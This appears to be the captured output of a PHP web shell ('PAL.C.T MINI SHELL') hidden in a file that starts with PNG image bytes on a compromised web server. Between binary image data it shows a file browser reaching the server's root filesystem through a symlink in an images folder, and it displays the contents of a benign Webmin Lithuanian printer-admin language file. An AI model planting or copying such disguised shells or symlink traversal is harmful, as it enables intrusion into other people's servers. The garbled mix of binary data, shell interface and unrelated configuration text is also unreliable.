php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/sym/root/usr/libexec/webmin/lpadmin/lang/
upload
files >> /var/www/html/sub/images/sym/root/usr/libexec/webmin/lpadmin/lang/lt.auto

index_title=Spausdintuvo administravimas
index_header=Galimi spausdintuvai
index_name=Spausdintuvas
index_desc=apibūdinimas
index_to=Spausdinti į
index_driver=Vairuotojas
index_enabled=Įjungtas?
index_accepting=Priimate?
index_jobs=Darbai
index_none=Šioje sistemoje nėra įdiegtų spausdintuvų.
index_list=Sąrašas ..
index_jlist=Darbai ..
index_jcount=$1 darbo vietų ..
index_add=Pridėkite naują spausdintuvą.
index_stop=Sustabdyti planuotoją
index_stopmsg=Spustelėkite šį mygtuką, norėdami sustabdyti vykdomą spausdinimo planavimo procesą. Tai neleis vietiniams ar nuotoliniams vartotojams spausdinti jūsų sistemoje.
index_start=Pradėti planuotoją
index_startmsg=Spustelėkite šį mygtuką, kad pradėtumėte spausdinimo planavimo procesą. Tai leis vietiniams ir nuotoliniams vartotojams spausdinti jūsų sistemoje.
index_restart=Iš naujo paleiskite planuoklę
index_restartmsg=Spustelėkite šį mygtuką, kad iš naujo paleistumėte spausdinimo planavimo procesą. Tai privers pritaikyti dabartinę spausdinimo konfigūraciją.
index_return=spausdintuvų sąrašas
index_esystem=Įdėkite pasirinktos spausdinimo sistemos programinę įrangą arba naudokite <a href='$1'>modulio konfigūraciją</a>, kad ją pakeistumėte.
index_style=Spausdinimo sistema: $1 
index_cluster=Klasterių serveriai
index_clusterdesc=Spustelėkite šį mygtuką norėdami nustatyti papildomus „Webmin“ serverius, kuriuose bus kuriami, atnaujinami ir ištrinami spausdintuvai.
index_delete=Ištrinti pasirinktus spausdintuvus

style_solaris=Solaris
style_linux=„Linux LPR“
style_freebsd=„FreeBSD LPR“
style_hpux=HPUX
style_lprng=LPRng
style_unixware=„UnixWare“
style_cups=CUPS
style_irix=IRIX
style_aix=AIX

edit_eedit=Jums neleidžiama redaguoti šio spausdintuvo
edit_eadd=Jums neleidžiama pridėti spausdintuvų
edit_add=Kurti spausdintuvą
edit_edit=Redaguoti spausdintuvą
edit_conf=Spausdintuvo konfigūracija
edit_name=vardas
edit_acc=Priimate užklausas?
edit_why=Ne - Kodėl gi ne?
edit_desc=apibūdinimas
edit_ena=Spausdinimas įjungtas?
edit_acl=Prieigos kontrolė
edit_allow=Leisk visiems
edit_deny=Neigia visų
edit_allowu=Leisti sąraše esantiems vartotojams ..
edit_denyu=Neleisti išvardytų vartotojų ..
edit_banner=Spausdinti reklamjuostę?
edit_opt=Nebūtina
edit_default=Numatytasis spausdintuvas?
edit_already=Jau numatytasis spausdintuvas
edit_max=Maksimalus spausdinimo užduoties dydis
edit_unlimited=Neribota
edit_dacc=Vairuotojas sutinka
edit_dtext=Tekstas
edit_dpost=Postraštis
edit_dother=Kiti
edit_alt=Alternatyvūs spausdintuvų pavadinimai
edit_dest=Spausdinti paskirties vietą
edit_dev=Vietinis įrenginys
edit_file=Vietinė byla
edit_remote=Nuotolinis „Unix“ serveris
edit_rqueue=Spausdintuvas
edit_type=Tipas
edit_smb=Nuotolinis „Windows“ serveris
edit_share=Spausdintuvas
edit_user=Vartotojas
edit_pass=Slaptažodis
edit_wgroup=Darbo grupė
edit_hpnp=Nuotolinis HPNP serveris
edit_port=Uostas
edit_direct=Tiesioginis TCP ryšys
edit_dport=Uostas
edit_driver=Spausdintuvo tvarkyklė
edit_check=Patikrinkite, ar neveikia nuotolinis serveris?

blocks=blokai

save_err=Nepavyko išsaugoti spausdintuvo
save_eadd=Jums neleidžiama pridėti spausdintuvų
save_eedit=Jums neleidžiama redaguoti šio spausdintuvo
save_ename=„$1“ nėra teisingas spausdintuvo pavadinimas
save_edup=Spausdintuvas, vadinamas „$1“, jau yra
save_eallow=Jokių vartotojų leisti įeiti
save_edeny=Nei vienas vartotojas negali paneigti
save_euser=Vartotojo '$1' neegzistuoja
save_etype=Turite pasirinkti bent vieną tipą, kurį ši tvarkyklė priims
save_emax=Didžiausias spausdinimo užduoties dydis turi būti sveikasis skaičius
save_efile=„$1“ neegzistuoja
save_erhost=Nuotolinio kompiuterio „$1“ nėra
save_erport=Nuotolinis prievadas '$1' negalioja
save_erqueue=„$1“ nėra teisingas nuotolinės eilės pavadinimas
save_eremote=Tvarkyklės negali būti naudojamos su nuotoliniais „Unix“ spausdintuvais
save_edhost=Tiesioginio pagrindinio kompiuterio „$1“ nėra
save_edport=Trūksta arba netinkamas tiesioginis prievadas
save_evalid=Spausdinimo sistema neleido šio spausdintuvo
save_errslave=Šioje sistemoje spausdintuvas sukūrė gerai, tačiau grupių grupėse įvyko šios klaidos : $1 
save_egone=Nerastas spausdintuvas pavadinimu '$1'
save_errdelslave=Spausdintuvas ištrynė gerai šioje sistemoje, tačiau grupių grupėse įvyko šios klaidos : $1 

jobs_title=Spausdinimo darbai
jobs_header=Spausdinimo užduotys $1 
jobs_id=Darbovietės ID
jobs_size=Dydis
jobs_by=Pateikė
jobs_when=Pateikta
jobs_file=Failo pavadinimas
jobs_cancel=Norėdami atšaukti, spustelėkite aukščiau esančiame sąraše darbo ID.
jobs_cancelview=Spustelėkite darbo ID iš aukščiau esančio sąrašo, kad atšauktumėte, arba spustelėkite darbo dydį, kad jį peržiūrėtumėte.
jobs_none=Spausdintuvas $1 neturi laukiančių darbų.
jobs_all=Atšaukite visus spausdinimo darbus
jobs_bytes=baitų
jobs_test=Spausdinti bandomąjį puslapį
jobs_cancelsel=Atšaukti pasirinktus darbus
jobs_on=Spausdintuve $1 
jobs_return=spausdinimo darbų sąrašas

cancel_ecannot=Jums neleidžiama atšaukti spausdinimo darbų
cancel_err=Nepavyko atšaukti spausdinimo užduoties
cancel_egone=Spausdinimo užduotis $1 nebeegzistuoja

view_ecannot=Negalite peržiūrėti šio spausdinimo darbo
view_egone=Ši spausdinimo užduotis nebeegzistuoja

start_ecannot=Jums neleidžiama pradėti planuoti
start_err=Nepavyko paleisti planavimo priemonės

stop_ecannot=Jums neleidžiama sustabdyti planuotojo
stop_err=Nepavyko sustabdyti planavimo priemonės

restart_ecannot=Jums neleidžiama iš naujo paleisti planavimo priemonės
restart_err=Nepavyko iš naujo paleisti planavimo priemonės

webmin_none=Nė vienas
webmin_nonemsg=„Postcript“ arba teksto spausdintuvas
webmin_remotemsg=Nuotolinis spausdintuvas
webmin_model=Modelis
webmin_prog=Programa
webmin_driver=„Webmin“ tvarkyklė
webmin_uniprint=„Uniprint“ tvarkyklė
webmin_edrivers=Nepavyko gauti tvarkyklių iš $1. „Webmin“ spausdintuvo tvarkyklės, naudojančios „ghostscript“, nėra
webmin_egs=Komanda $1 nerasta. „Webmin“ spausdintuvo tvarkyklės, naudojančios „ghostscript“, nėra
webmin_edriver=„$1“ neegzistuoja

caldera_none=Nė vienas
caldera_nonemsg=Nuotolinis arba neapdorotas spausdintuvas
caldera_prog=Programa
caldera_coas=COAS vairuotojas
caldera_printer=Spausdintuvas ir skiriamoji geba
caldera_eof=Siųsti EOF?
caldera_paper=Popieriaus dydis
caldera_double=Spausdinti dvipusį?
caldera_gsopts=Papildomos GS parinktys
caldera_uniprint=„Uniprint“ tvarkyklė
caldera_eprog=„$1“ neegzistuoja
caldera_edriver=Nepasirinkta spausdintuvo tvarkyklė
caldera_eres=Nepasirinkta jokia skiriamoji geba

redhat_none=Nė vienas
redhat_nonemsg=„Postcript“ arba teksto spausdintuvas
redhat_prog=Programa
redhat_driver=Redhat vairuotojas
redhat_printer=Spausdintuvas ir skiriamoji geba
redhat_eof=Siųsti EOF?
redhat_paper=Popieriaus dydis
redhat_pages=Puslapiai išvesties puslapyje
redhat_gsopts=Papildomos GS parinktys
redhat_hmargin=Dešinė/kairė paraštė
redhat_vmargin=Viršutinė/apatinė paraštė
redhat_crlf=Pataisyti laiptų pakopų tekstą?
redhat_eprog=„$1“ neegzistuoja
redhat_edriver=Nepasirinkta spausdintuvo tvarkyklė
redhat_ehmargin=Trūksta arba neteisinga dešinė/kairė paraštė
redhat_evmargin=Trūksta arba netinkama viršutinė/apatinė paraštė
redhat_eres=Nepasirinkta jokia skiriamoji geba
redhat_printer2=Spausdintuvo modelis ir tvarkyklė

suse_none=Nė vienas
suse_nonemsg=„Postcript“ arba teksto spausdintuvas
suse_prog=Programa
suse_driver=APSfiltro tvarkyklė
suse_printer=Spausdintuvo tipas
suse_res=Rezoliucija DPI
suse_colour=Spalvotas spausdintuvas?
suse_paper=Popieriaus dydis
suse_method=Filtravimo metodas
suse_auto=Automatinis
suse_ascii=ASCII
suse_raw=Neapdorotas
suse_extra=Papildomos „ghostscript“ parinktys
suse_yast2=YAST2 vairuotojas
suse_edriver=Nepasirinktas spausdintuvo tipas
suse_eres=Trūksta arba netinkama rezoliucija

estop=Nepavyko sustabdyti lpd : $1 

acl_printers=Spausdintuvai, kuriuos šis vartotojas gali sukonfigūruoti
acl_add=Ar galite pridėti naujų spausdintuvų?
acl_cancel=Ar galima atšaukti spausdinimo užduotis?
acl_stop=Ar galima sustoti ar pradėti planuoti?
acl_restart=Tik paleiskite iš naujo
acl_listed=Tik pasirinktuose spausdintuvuose ..
acl_pall=Visi spausdintuvai
acl_psel=Pasirinkta ..
acl_view=Rodyti nekonfigūruojamus spausdintuvus?
acl_test=Ar galima spausdinti bandomuosius puslapius?
acl_user=Tvarkykite spausdinimo užduotis, priklausančias
acl_user_all=Visi vartotojai
acl_user_this=Dabartinis „Webmin“ vartotojas
acl_delete=Ar galima ištrinti spausdintuvus?
acl_cluster=Ar gali valdyti spausdintuvų grupę?

log_stop=Sustabdytas spausdinimo planavimas
log_start=Pradėtas spausdinimo planavimas
log_restart=Iš naujo paleistas spausdinimo planavimas
log_cancel_job=Atšaukta $2 spausdinimo užduotis $1 
log_cancel_all=Atšaukė visas spausdinimo užduotis $1 
log_cancel_sel=$2 spausdinimo užduotys atšauktos
log_create=Sukurtas spausdintuvas $1 $2 
log_modify=Modifikuotas spausdintuvas $1 $2 
log_delete=Ištrintas spausdintuvas $1 iš $2 
log_create_l=Sukurtas $3 spausdintuvas $1 $2 
log_modify_l=Modifikuotas $3 spausdintuvas $1 $2 
log_delete_l=Ištrintas $3 spausdintuvas $1 iš $2 

linux_paralel=Lygiagretus prievadas $1 
linux_serial=$1 nuoseklusis prievadas (COM $1)
linux_null=Null įrenginys
linux_usb=USB spausdintuvas $1 
linux_ecmd=Komanda $1 jūsų sistemoje nerasta. Tai rodo, kad „Linux“ spausdinimo sistema neįdiegta.
linux_espool=Jūsų sistemos spiralės aplanko $1 nėra, o tai rodo, kad „Linux“ spausdinimo sistema neįdiegta.

freebsd_paralel=Lygiagretus uostas
freebsd_serial=$1 nuoseklusis prievadas (COM $1)
freebsd_ecmd=Komanda $1 jūsų sistemoje nerasta, tai rodo, kad „FreeBSD“ spausdinimo sistema neįdiegta.
freebsd_espool=Ritinių katalogo $1 jūsų sistemoje nėra, o tai rodo, kad „FreeBSD“ spausdinimo sistema neįdiegta.

openbsd_paralel=Lygiagretus uostas
openbsd_serial=$1 nuoseklusis prievadas (COM $1)

unixware_paralel=Lygiagretus prievadas $1 
unixware_serial=Serijos prievadas $1 
unixware_null=Null įrenginys
unixware_ecmd=Komanda $1 jūsų sistemoje nerasta. Tai rodo, kad „UnixWare“ spausdinimo sistema neįdiegta.

hpux_paralel=Lygiagretus $1 
hpux_serial=Serija $1 
hpux_null=Null įrenginys
hpux_ecmd=Komanda $1 jūsų sistemoje nerasta. Tai rodo, kad HPUX spausdinimo sistema neįdiegta.
hpux_eiface=Sąsajos scenarijų katalogo $1 jūsų sistemoje nėra. Tai rodo, kad HPUX spausdinimo sistema neįdiegta.

lprng_paralel=Lygiagretus prievadas $1 
lprng_serial=$1 nuoseklusis prievadas (COM $1)
lprng_null=Null įrenginys
lprng_ecmd=Komanda $1 jūsų sistemoje nerasta. Tai rodo, kad LPRng spausdinimo sistema neįdiegta.
lprng_espool=Ryšio aplanko $1 jūsų sistemoje nėra, o tai rodo, kad LPRng spausdinimo sistema neįdiegta.

solaris_paralel=Lygiagretus uostas
solaris_uparalel=„Ultra 5/10“ lygiagretus prievadas
solaris_serial=Serijos prievadas $1 
solaris_null=Null įrenginys
solaris_ecmd=Komanda $1 jūsų sistemoje nerasta. Tai rodo, kad „Solaris“ spausdinimo sistema neįdiegta.

test_title=Spausdinti bandomąjį puslapį
test_ecannot=Jums neleidžiama spausdinti bandomųjų puslapių
test_desc=Ši forma leidžia spausdinti bandomąjį puslapį spausdintuvui $1. Pasirinkite norimo spausdinti puslapio tipą :
test_0=Nespalvotas „PostScript“ puslapis
test_1=Spalvotas „PostScript“ puslapis
test_2=Paprastas ASCII tekstas
test_3=Bet koks įkeltas failas
test_print=Spausdinti puslapį
test_exec=Spausdinamas bandomasis puslapis su komanda $1 ..
test_failed=.. komanda nepavyko!
test_ok=.. komanda baigta.

cups_none=Nė vienas
cups_nonemsg=Nuotolinis arba neapdorotas spausdintuvas
cups_prog=Programa
cups_driver=CUPS vairuotojas
cups_eprog=„$1“ nėra tinkama programa
cups_opts=„ $1 “ parinktys
cups_ecmd=Komanda $1 jūsų sistemoje nerasta. Tai rodo, kad CUPS spausdinimo sistema neįdiegta.

irix_ecmd=Komanda $1 jūsų sistemoje nerasta. Tai rodo, kad IRIX spausdinimo sistema neįdiegta.
irix_eiface=Sąsajos scenarijų katalogo $1 jūsų sistemoje nėra. Tai rodo, kad IRIX spausdinimo sistema neįdiegta.

aix_port=Spausdintuvo prievadas $1 
aix_edesc=Netinkamas aprašymas - leidžiamos tik raidės ir skaičiai, be tarpų
aix_ecmd=AIX spausdintuvo serveris $1 nerastas. Galbūt jis neįdiegtas, arba naudojama kita spausdinimo sistema.

cluster_title=Klasterinių spausdintuvų serveriai
cluster_none=Prie spausdintuvų grupės dar nepridėta serverių.
cluster_host=Pagrindinio kompiuterio vardas
cluster_desc=apibūdinimas
cluster_os=Operacinė sistema
cluster_add=Pridėti serverį
cluster_gadd=Įtraukite serverius į grupę
cluster_need=„Webmin“ serverių rodyklės modulyje turite pridėti serverius su prisijungimo vardu ir slaptažodžiu, kad juos būtų galima valdyti čia.
cluster_return=klasterių serveriai
cluster_delete=Pašalinti pasirinktą
cluster_ecannot=Jums neleidžiama valdyti klasterinių spausdintuvų serverių

add_title=Pridėti serverius
add_msg=Pridedama $1 ..
add_gmsg=Serverių pridėjimas grupėje $1 ..
add_err=Nepavyko pridėti serverio
add_gerr=Nepavyko pridėti grupės
add_echeck=Serveris $1 neturi spausdintuvo administravimo modulio
add_ediff=Serveris $1 naudoja kitą serverio spausdinimo sistemą ($2)
add_ediff2=Serveris $1 naudoja kitą šio serverio spausdinimo tvarkyklę ($2)
add_ok=Pridėta $1, su $2 spausdintuvais.
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`